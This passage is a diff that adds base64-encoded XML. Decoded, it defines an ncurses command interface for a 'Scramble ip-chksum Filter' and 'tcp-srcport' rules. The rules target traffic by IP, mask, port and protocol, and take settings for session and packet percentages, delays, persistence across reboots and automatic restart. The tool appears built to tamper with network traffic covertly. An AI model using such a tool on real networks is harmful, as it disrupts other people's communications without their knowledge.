+c3Npb24gUGVyY2VudGFnZTwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+
+DQogICAgICAgICAgICAgICAgPHR5cGU+dWludDMyPC90eXBlPg0KICAgICAgICAgICAgICAgIDxz
+aXplPjExPC9zaXplPg0KICAgICAgICAgICAgICAgIDxkZWZhdWx0dmFsdWU+MDwvZGVmYXVsdHZh
+bHVlPg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0K
+ICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+MTQ8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAg
+ICA8aGVscHRleHQ+UGVyY2VudGFnZSBvZiBzZXNzaW9ucyBmaWx0ZXIgd2lsbCBhZmZlY3QuPC9o
+ZWxwdGV4dD4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L3BhcmFt
+ZXRlcj4NCiAgICAgICAgICAgIDxwYXJhbWV0ZXIgZmxhZz0ic20iPg0KICAgICAgICAgICAgICA8
+Y2FzZXNlbnNpdGl2ZT5mYWxzZTwvY2FzZXNlbnNpdGl2ZT4NCiAgICAgICAgICAgICAgPG5jdXJz
+ZWlkPnNjcmFtYmxlX3BhcmFtX3NtPC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJzZWxh
+YmVsPk1heCBTZXNzaW9uczwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+
+DQogICAgICAgICAgICAgICAgPHR5cGU+dWludDMyPC90eXBlPg0KICAgICAgICAgICAgICAgIDxz
+aXplPjExPC9zaXplPg0KICAgICAgICAgICAgICAgIDxkZWZhdWx0dmFsdWU+MDwvZGVmYXVsdHZh
+bHVlPg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0K
+ICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+MTU8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAg
+ICA8aGVscHRleHQ+TWF4aW11bSBudW1iZXIgb2Ygc2Vzc2lvbiB0byBhZmZlY3QgYmVmb3JlIGZp
+bHRlciBpcyB0ZXJtaW5hdGVkLjwvaGVscHRleHQ+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRl
+Pg0KICAgICAgICAgICAgPC9wYXJhbWV0ZXI+DQogICAgICAgICAgICA8cGFyYW1ldGVyIGZsYWc9
+InBkIj4NCiAgICAgICAgICAgICAgPGNhc2VzZW5zaXRpdmU+ZmFsc2U8L2Nhc2VzZW5zaXRpdmU+
+DQogICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9wYXJhbV9wZDwvbmN1cnNlaWQ+DQog
+ICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5QYWNrZXQgRGVsYXk8L25jdXJzZWxhYmVsPg0KICAg
+ICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDx0eXBlPnVpbnQzMjwvdHlw
+ZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4xMTwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8ZGVm
+YXVsdHZhbHVlPjA8L2RlZmF1bHR2YWx1ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4
+MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjE2PC9hcmdu
+dW1iZXI+DQogICAgICAgICAgICAgICAgPGhlbHB0ZXh0Pk51bWJlciBvZiBwYWNrZXRzIHRvIGln
+bm9yZSBiZWZvcmUgZmlsdGVyIGFmZmVjdHMgcGFja2V0cy48L2hlbHB0ZXh0Pg0KICAgICAgICAg
+ICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvcGFyYW1ldGVyPg0KICAgICAgICAgICAg
+PHBhcmFtZXRlciBmbGFnPSJwIj4NCiAgICAgICAgICAgICAgPGNhc2VzZW5zaXRpdmU+ZmFsc2U8
+L2Nhc2VzZW5zaXRpdmU+DQogICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9wYXJhbV9w
+PC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPlBhY2tldCBQZXJjZW50YWdl
+PC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAg
+ICA8dHlwZT51aW50MzI8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTE8L3NpemU+DQog
+ICAgICAgICAgICAgICAgPGRlZmF1bHR2YWx1ZT4wPC9kZWZhdWx0dmFsdWU+DQogICAgICAgICAg
+ICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAg
+PGFyZ251bWJlcj4xNzwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICAgIDxoZWxwdGV4dD5QZXJj
+ZW50YWdlIG9mIHBhY2tldHMgZmlsdGVyIHdpbGwgYWZmZWN0LjwvaGVscHRleHQ+DQogICAgICAg
+ICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9wYXJhbWV0ZXI+DQogICAgICAgICAg
+ICA8cGFyYW1ldGVyIGZsYWc9InBtIj4NCiAgICAgICAgICAgICAgPGNhc2VzZW5zaXRpdmU+ZmFs
+c2U8L2Nhc2VzZW5zaXRpdmU+DQogICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9wYXJh
+bV9wbTwvbmN1cnNlaWQ+DQogICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5NYXggUGFja2V0czwv
+bmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgICAg
+PHR5cGU+dWludDMyPC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjExPC9zaXplPg0KICAg
+ICAgICAgICAgICAgIDxkZWZhdWx0dmFsdWU+MDwvZGVmYXVsdHZhbHVlPg0KICAgICAgICAgICAg
+ICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAgIDxh
+cmdudW1iZXI+MTg8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgICA8aGVscHRleHQ+TWF4aW11
+bSBudW1iZXIgb2YgcGFja2V0cyB0byBhZmZlY3QgYmVmb3JlIGZpbHRlciBpcyB0ZXJtaW5hdGVk
+LjwvaGVscHRleHQ+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9w
+YXJhbWV0ZXI+DQogICAgICAgICAgICA8cGFyYW1ldGVyIGZsYWc9ImRpciI+DQogICAgICAgICAg
+ICAgIDxjYXNlc2Vuc2l0aXZlPmZhbHNlPC9jYXNlc2Vuc2l0aXZlPg0KICAgICAgICAgICAgICA8
+bmN1cnNlaWQ+c2NyYW1ibGVfcGFyYW1fZGlyPC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAgPG5j
+dXJzZWxhYmVsPkRpcmVjdGlvbjwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1
+dGU+DQogICAgICAgICAgICAgICAgPHR5cGU+dWludDMyPC90eXBlPg0KICAgICAgICAgICAgICAg
+IDxzaXplPjExPC9zaXplPg0KICAgICAgICAgICAgICAgIDxkZWZhdWx0dmFsdWU+MDwvZGVmYXVs
+dHZhbHVlPg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZl
+Pg0KICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+MTk8L2FyZ251bWJlcj4NCiAgICAgICAgICAg
+ICAgICA8aGVscHRleHQ+VGhlIGRpcmVjdGlvbiBpbiBhIGNsaWVudCBzZXJ2ZXIgY29ubmVjdGlv
+biB0aGF0IHRoaXMgZmlsdGVyIGFwcGxpZXMgdG8uICBJZiBmbGFnIGlzIG5vdCB1c2VkLCBib3Ro
+IGRpcmVjdGlvbiB3aWxsIGJlIGZpbHRlcmVkIG9uLiAgSWYgMSBpcyBlbnRlcmVkLCBvbmx5IGNv
+bm5lY3Rpb25zIGZyb20gdGhlIGNsaWVudCB3aWxsIGJlIGZpbHRlcmVkIG9uLiAgSWYgMiwgb25s
+eSB0aG9zZSBmcm9tIHRoZSBzZXJ2ZXIuPC9oZWxwdGV4dD4NCiAgICAgICAgICAgICAgPC9hdHRy
+aWJ1dGU+DQogICAgICAgICAgICA8L3BhcmFtZXRlcj4NCiAgICAgICAgICA8L29wdGlvbmFsX3Bh
+cmFtZXRlcnM+DQogICAgICAgIDwvcGFyYW1ldGVycz4NCiAgICAgICAgPG5jdXJzZXNsYXlvdXQ+
+DQogICAgICAgICAgPHNlY3Rpb24+DQogICAgICAgICAgICA8Y29sdW1uPg0KICAgICAgICAgICAg
+ICA8dGl0bGU+U2NyYW1ibGUgaXAtY2hrc3VtIEZpbHRlcjwvdGl0bGU+DQogICAgICAgICAgICA8
+L2NvbHVtbj4NCiAgICAgICAgICA8L3NlY3Rpb24+DQogICAgICAgICAgPHNlY3Rpb24+DQogICAg
+ICAgICAgICA8Y29sdW1uPg0KICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9jcmVhdGVf
+YXR0cmliXzE8L2VsZW1lbnQ+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX2NyZWF0
+ZV9hdHRyaWJfMjwvZWxlbWVudD4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfY3Jl
+YXRlX2F0dHJpYl8zPC9lbGVtZW50Pg0KICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9j
+cmVhdGVfYXR0cmliXzQ8L2VsZW1lbnQ+DQogICAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAg
+ICAgIDxjb2x1bW4+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX2NyZWF0ZV9hdHRy
+aWJfNTwvZWxlbWVudD4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfY3JlYXRlX2F0
+dHJpYl82PC9lbGVtZW50Pg0KICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9jcmVhdGVf
+YXR0cmliXzc8L2VsZW1lbnQ+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX2NyZWF0
+ZV9hdHRyaWJfODwvZWxlbWVudD4NCiAgICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICAgIDwv
+c2VjdGlvbj4NCiAgICAgICAgICA8c2VjdGlvbj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQogICAg
+ICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfOTwvZWxlbWVudD4NCiAg
+ICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICAgICAgPGNvbHVtbi8+DQogICAgICAgICAgPC9z
+ZWN0aW9uPg0KICAgICAgICAgIDxzZWN0aW9uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAg
+ICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfcGFyYW1fZW48L2VsZW1lbnQ+DQogICAgICAgICAg
+ICA8L2NvbHVtbj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICAgIDxlbGVtZW50
+PnNjcmFtYmxlX3BhcmFtX3BzPC9lbGVtZW50Pg0KICAgICAgICAgICAgPC9jb2x1bW4+DQogICAg
+ICAgICAgICA8Y29sdW1uPg0KICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9wYXJhbV9y
+PC9lbGVtZW50Pg0KICAgICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgICAgPC9zZWN0aW9uPg0K
+ICAgICAgICAgIDxzZWN0aW9uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAg
+ICA8ZWxlbWVudD5zY3JhbWJsZV9wYXJhbV90ZDwvZWxlbWVudD4NCiAgICAgICAgICAgIDwvY29s
+dW1uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAgICA8ZWxlbWVudD5zY3Jh
+bWJsZV9wYXJhbV90PC9lbGVtZW50Pg0KICAgICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgICAg
+PC9zZWN0aW9uPg0KICAgICAgICAgIDxzZWN0aW9uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAg
+ICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfcGFyYW1fc2Q8L2VsZW1lbnQ+DQogICAgICAg
+ICAgICA8L2NvbHVtbj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICAgIDxlbGVt
+ZW50PnNjcmFtYmxlX3BhcmFtX3M8L2VsZW1lbnQ+DQogICAgICAgICAgICA8L2NvbHVtbj4NCiAg
+ICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX3BhcmFt
+X3NtPC9lbGVtZW50Pg0KICAgICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgICAgPC9zZWN0aW9u
+Pg0KICAgICAgICAgIDxzZWN0aW9uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAg
+ICAgPGVsZW1lbnQ+c2NyYW1ibGVfcGFyYW1fcGQ8L2VsZW1lbnQ+DQogICAgICAgICAgICA8L2Nv
+bHVtbj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFt
+YmxlX3BhcmFtX3A8L2VsZW1lbnQ+DQogICAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgICAg
+IDxjb2x1bW4+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX3BhcmFtX3BtPC9lbGVt
+ZW50Pg0KICAgICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgICAgPC9zZWN0aW9uPg0KICAgICAg
+ICAgIDxzZWN0aW9uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAgPGVsZW1l
+bnQ+c2NyYW1ibGVfcGFyYW1fZGlyPC9lbGVtZW50Pg0KICAgICAgICAgICAgPC9jb2x1bW4+DQog
+ICAgICAgICAgPC9zZWN0aW9uPg0KICAgICAgICA8L25jdXJzZXNsYXlvdXQ+DQogICAgICA8L2Nt
+ZD4NCiAgICAgIDxjbWQgdGl0bGU9InRjcC1zcmNwb3J0Ij4NCiAgICAgICAgPGhlbHB0ZXh0PkNy
+ZWF0ZXMgYSBuZXcgdGNwLXNyY3BvcnQgcnVsZSBiYXNlZCBvbiB0aGUgc3BlY2lmaWVkIGNyaXRl
+cmlhLjwvaGVscHRleHQ+DQogICAgICAgIDxwcmltaXRpdmVzPg0KICAgICAgICAgIDxyZXF1aXJl
+ZF9wcmltaXRpdmVzPg0KICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9wcmltaXRp
+dmU+DQogICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMEE8L3ByaW1pdGl2ZT4NCiAgICAg
+ICAgICA8L3JlcXVpcmVkX3ByaW1pdGl2ZXM+DQogICAgICAgICAgPG9wdGlvbmFsX3ByaW1pdGl2
+ZXM+DQogICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDQ8L3ByaW1pdGl2ZT4NCiAgICAg
+ICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwNTwvcHJpbWl0aXZlPg0KICAgICAgICAgIDwvb3B0
+aW9uYWxfcHJpbWl0aXZlcz4NCiAgICAgICAgPC9wcmltaXRpdmVzPg0KICAgICAgICA8YXR0cmli
+dXRlcz4NCiAgICAgICAgICA8cmVxdWlyZWRfYXR0cmlidXRlcz4NCiAgICAgICAgICAgIDxjb21t
+YW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAg
+ICA8bmN1cnNlaWQ+c2NyYW1ibGVfY3JlYXRlX2F0dHJpYl8xPC9uY3Vyc2VpZD4NCiAgICAgICAg
+ICAgICAgICA8bmN1cnNlbGFiZWw+U291cmNlIElQPC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAg
+ICAgICA8dHlwZT5pcHY0PC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjE2PC9zaXplPg0K
+ICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0KICAgICAg
+ICAgICAgICAgIDxhcmdudW1iZXI+MTwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICA8L2F0dHJp
+YnV0ZT4NCiAgICAgICAgICAgIDwvY29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8Y29t
+bWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAg
+ICAgPG5jdXJzZWlkPnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfMjwvbmN1cnNlaWQ+DQogICAgICAg
+ICAgICAgICAgPG5jdXJzZWxhYmVsPlNvdXJjZSBNYXNrPC9uY3Vyc2VsYWJlbD4NCiAgICAgICAg
+ICAgICAgICA8dHlwZT5pcHY0PC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjE2PC9zaXpl
+Pg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0KICAg
+ICAgICAgICAgICAgIDxhcmdudW1iZXI+MjwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICA8L2F0
+dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvY29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8
+Y29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9jcmVh
+dGVfYXR0cmliXzM8L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+U3RhcnQg
+U3JjIFBvcnQ8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAg
+ICAgICAgICAgIDx0eXBlPnVpbnQzMjwvdHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4xMTwv
+c2l6ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3ByaW1pdGl2ZT4N
+CiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjM8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAg
+PC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L2NvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAg
+ICAgPGNvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVf
+Y3JlYXRlX2F0dHJpYl80PC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPkVu
+ZCBTcmMgUG9ydDwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAg
+ICAgICAgICAgICAgPHR5cGU+dWludDMyPC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjEx
+PC9zaXplPg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZl
+Pg0KICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+NDwvYXJnbnVtYmVyPg0KICAgICAgICAgICAg
+ICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvY29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAg
+ICAgICA8Y29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAg
+ICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfNTwvbmN1cnNlaWQ+
+DQogICAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPkRlc3RpbmF0aW9uIElQPC9uY3Vyc2VsYWJl
+bD4NCiAgICAgICAgICAgICAgICA8dHlwZT5pcHY0PC90eXBlPg0KICAgICAgICAgICAgICAgIDxz
+aXplPjE2PC9zaXplPg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJp
+bWl0aXZlPg0KICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+NTwvYXJnbnVtYmVyPg0KICAgICAg
+ICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvY29tbWFuZF9hdHRyaWJ1dGU+DQog
+ICAgICAgICAgICA8Y29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+
+DQogICAgICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfNjwvbmN1
+cnNlaWQ+DQogICAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPkRlc3RpbmF0aW9uIE1hc2s8L25j
+dXJzZWxhYmVsPg0KICAgICAgICAgICAgICAgIDx0eXBlPmlwdjQ8L3R5cGU+DQogICAgICAgICAg
+ICAgICAgPHNpemU+MTY8L3NpemU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAw
+MDAzPC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj42PC9hcmdudW1iZXI+
+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9jb21tYW5kX2F0dHJp
+YnV0ZT4NCiAgICAgICAgICAgIDxjb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgPG5j
+dXJzZWlkPnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfNzwvbmN1cnNlaWQ+DQogICAgICAgICAgICAg
+IDxuY3Vyc2VsYWJlbD5TdGFydCBEc3QgUG9ydDwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAg
+IDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgICAgPHR5cGU+dWludDMyPC90eXBlPg0KICAgICAg
+ICAgICAgICAgIDxzaXplPjExPC9zaXplPg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgw
+RjAwMDAwMzwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+NzwvYXJnbnVt
+YmVyPg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvY29tbWFuZF9h
+dHRyaWJ1dGU+DQogICAgICAgICAgICA8Y29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICAg
+IDxuY3Vyc2VpZD5zY3JhbWJsZV9jcmVhdGVfYXR0cmliXzg8L25jdXJzZWlkPg0KICAgICAgICAg
+ICAgICA8bmN1cnNlbGFiZWw+RW5kIERzdCBQb3J0PC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAg
+ICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT51aW50MzI8L3R5cGU+DQogICAg
+ICAgICAgICAgICAgPHNpemU+MTE8L3NpemU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4w
+eDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj44PC9hcmdu
+dW1iZXI+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9jb21tYW5k
+X2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDxjb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAg
+ICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVfY3JlYXRl
+X2F0dHJpYl85PC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+UHJvdG9j
+b2w8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgICAgIDx0eXBlPnN0cmluZzwvdHlwZT4NCiAg
+ICAgICAgICAgICAgICA8c2l6ZT4xNjwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZl
+PjB4MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjk8L2Fy
+Z251bWJlcj4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L2NvbW1h
+bmRfYXR0cmlidXRlPg0KICAgICAgICAgIDwvcmVxdWlyZWRfYXR0cmlidXRlcz4NCiAgICAgICAg
+ICA8b3B0aW9uYWxfYXR0cmlidXRlcy8+DQogICAgICAgIDwvYXR0cmlidXRlcz4NCiAgICAgICAg
+PHBhcmFtZXRlcnM+DQogICAgICAgICAgPHJlcXVpcmVkX3BhcmFtZXRlcnMvPg0KICAgICAgICAg
+IDxvcHRpb25hbF9wYXJhbWV0ZXJzPg0KICAgICAgICAgICAgPHBhcmFtZXRlciBmbGFnPSJlbiI+
+DQogICAgICAgICAgICAgIDxjYXNlc2Vuc2l0aXZlPmZhbHNlPC9jYXNlc2Vuc2l0aXZlPg0KICAg
+ICAgICAgICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVfcGFyYW1fZW48L25jdXJzZWlkPg0KICAgICAg
+ICAgICAgICA8bmN1cnNlbGFiZWw+RW5hYmxlPC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAg
+PGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT5wcmVzZW5jZTwvdHlwZT4NCiAgICAg
+ICAgICAgICAgICA8c2l6ZT4xPC9zaXplPg0KICAgICAgICAgICAgICAgIDxkZWZhdWx0dmFsdWU+
+dHJ1ZTwvZGVmYXVsdHZhbHVlPg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAw
+NDwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+MjwvYXJnbnVtYmVyPg0K
+ICAgICAgICAgICAgICAgIDxoZWxwdGV4dD5FbmFibGVzIHRoZSBydWxlIG9uIGNyZWF0aW9uPC9o
+ZWxwdGV4dD4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L3BhcmFt
+ZXRlcj4NCiAgICAgICAgICAgIDxwYXJhbWV0ZXIgZmxhZz0icHMiPg0KICAgICAgICAgICAgICA8
+Y2FzZXNlbnNpdGl2ZT5mYWxzZTwvY2FzZXNlbnNpdGl2ZT4NCiAgICAgICAgICAgICAgPG5jdXJz
+ZWlkPnNjcmFtYmxlX3BhcmFtX3BzPC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJzZWxh
+YmVsPlBlcnNpc3Q8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgICA8YXR0cmlidXRlPg0KICAg
+ICAgICAgICAgICAgIDx0eXBlPnByZXNlbmNlPC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXpl
+PjE8L3NpemU+DQogICAgICAgICAgICAgICAgPGRlZmF1bHR2YWx1ZT50cnVlPC9kZWZhdWx0dmFs
+dWU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDA1PC9wcmltaXRpdmU+DQog
+ICAgICAgICAgICAgICAgPGFyZ251bWJlcj4yPC9hcmdudW1iZXI+DQogICAgICAgICAgICAgICAg
+PGhlbHB0ZXh0PkVuYWJsZSB0aGUgZmlsdGVyIHRvIHN1cnZpdmUgcmVib290cy48L2hlbHB0ZXh0
+Pg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvcGFyYW1ldGVyPg0K
+ICAgICAgICAgICAgPHBhcmFtZXRlciBmbGFnPSJyIj4NCiAgICAgICAgICAgICAgPGNhc2VzZW5z
+aXRpdmU+ZmFsc2U8L2Nhc2VzZW5zaXRpdmU+DQogICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3Jh
+bWJsZV9wYXJhbV9yPC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPkF1dG8g
+UmVzdGFydDwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAg
+ICAgICAgICAgPHR5cGU+cHJlc2VuY2U8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTwv
+c2l6ZT4NCiAgICAgICAgICAgICAgICA8ZGVmYXVsdHZhbHVlPnRydWU8L2RlZmF1bHR2YWx1ZT4N
+CiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAg
+ICAgICAgICAgICA8YXJnbnVtYmVyPjEwPC9hcmdudW1iZXI+DQogICAgICAgICAgICAgICAgPGhl
+bHB0ZXh0PkF1dG9tYXRpY2FsbHkgcmUtZW5hYmxlIHRoZSBmaWx0ZXIgd2hlbiB0ZXJtaW5hdGlv
